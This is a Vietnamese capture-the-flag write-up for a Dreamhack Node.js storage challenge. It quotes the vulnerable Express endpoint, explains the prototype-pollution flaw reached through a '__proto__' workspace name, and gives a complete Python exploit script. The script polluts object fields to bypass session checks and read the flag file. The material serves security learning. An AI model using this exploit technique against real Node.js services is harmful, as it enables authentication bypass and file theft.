# NSS - Prototype Pollution
**Description**: The Simple and Secure Node.js Storage Service!
[**Source**](https://sfo2.digitaloceanspaces.com/wargame1/public/89026f3a-f9c4-40fa-94c3-f2fab1cad200.zip?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=OIK4A6AORYFTHBTQUV55%2F20230822%2Fsfo2%2Fs3%2Faws4_request&X-Amz-Date=20230822T140438Z&X-Amz-Expires=86400&X-Amz-SignedHeaders=host&X-Amz-Signature=037f62ab79e264fb198ce0520be3f1a45fdd5279f09ba44b10aef78f83690932)
Lỗ hổng tồn tại ở ```/api/users/:userid/:ws``` endpoint #L78 file.js
```
app.post("/api/users/:userid/:ws", (req, res) => {
const userid = req.params.userid || "";
const ws_name = req.params.ws || "";
const token = req.body.token || "";
const f_name = req.body.file_name || "";
const f_path = req.body.file_path.replace(/\./g,'') || "";
const f_content = req.body.file_content || "";
if(!userid || !token)
return res.status(400).json({ok: false, err: "Invalid id or token"});
if(!check_session(userid, token))
return res.status(403).json({ok: false, err: "Failed to validate session"});
const user = users[userid];
if(!ws_name)
return res.status(400).json({ok: false, err: "Invalid workspace name"});
const workspace = user.workspaces[ws_name];
if(!workspace)
return res.status(404).json({ok: false, err: "Failed to find workspace"});
if(!f_name || !f_path)
return res.status(400).json({ok: false, err: "Invalid file name or path"});
if(!write_b64_file(path.join(user.base_dir, f_path), f_content))
return res.status(500).json({ok: false, err: "Internal server error"});
workspace[f_name] = f_path;
return res.status(200).json({ok: true});
});
```
Nó không có tồn tại một lớp rountine check vậy rõ ràng chúng ta hoàn toàn có thể khai thác prototype poluttion ở đây, câu hỏi bây giờ là how ???. Sau một hồi phân tích thì mình đã tìm ra ý tưởng là
```
ws_name == "__proto__" => workspace = user.workspaces["__proto__"] == Object.__proto__
workspace[f_name] = f_path => Object.__proto__.f_name = f_path
```
Exploit.py
```
import requests
from base64 import b64decode
URL = "http://host3.dreamhack.games:16710/api"
proto_user = "__proto__"
user = "l1nx1n"
pw = "l1nx1n"
ws = "__proto__"
print(requests.post(URL + "/users", json={"userid":user,"pass":pw}).json())
c = requests.post(URL + "/users/auth", json={"userid":user,"pass":pw}).json()
print(c)
token = c['token']
### users[l1x1n].workspaces["__proto__"].expire = "99999999999999999999999999"
c = requests.post(URL + f"/users/{user}/__proto__", json={"userid":user,"token":token,"file_name":"expire","file_content":"zzlol","file_path":"99999999999999999999999999"}).json()
print(c)
### users[l1nx1n].workspaces["__proto__"].owner = "__proto__"
c = requests.post(URL + f"/users/{user}/__proto__", json={"userid":user,"token":token,"file_name":"owner","file_content":"zzlol","file_path":"__proto__"}).json()
print(c)
### users[l1nx1n].workspaces["__proto__"].workspaces = "l1nx1n"
c = requests.post(URL + f"/users/{user}/__proto__", json={"userid":user,"token":token,"file_name":"workspaces","file_content":"zzlol","file_path":"l1nx1n"}).json()
print(c)
### users[l1nx1n].workspaces["__proto__"].zzzzzz = "flag"
c = requests.post(URL + f"/users/{user}/__proto__", json={"userid":user,"token":token,"file_name":"zzzzzz","file_content":"zzlol","file_path":"flag"}).json()
print(c)
### users[l1nx1n].workspaces["__proto__"].base_dir = "/usr/src/app"
c = requests.post(URL + f"/users/{user}/__proto__", json={"userid":user,"token":token,"file_name":"base_dir","file_content":"zzlol","file_path":"/usr/src/app"}).json()
print(c)
### get(users.__proto__.base_dir + users.__proto__.workspaces.__proto__.zzzzzz)
### == get("/usr/src/app/flag")
c = requests.get(URL + "/users/__proto__/__proto__/zzzzzz", json={"userid":'__proto__',"token":'__proto__',"ws_name":"123"}).json()
print(c)
print(b64decode(c['file_content']).decode())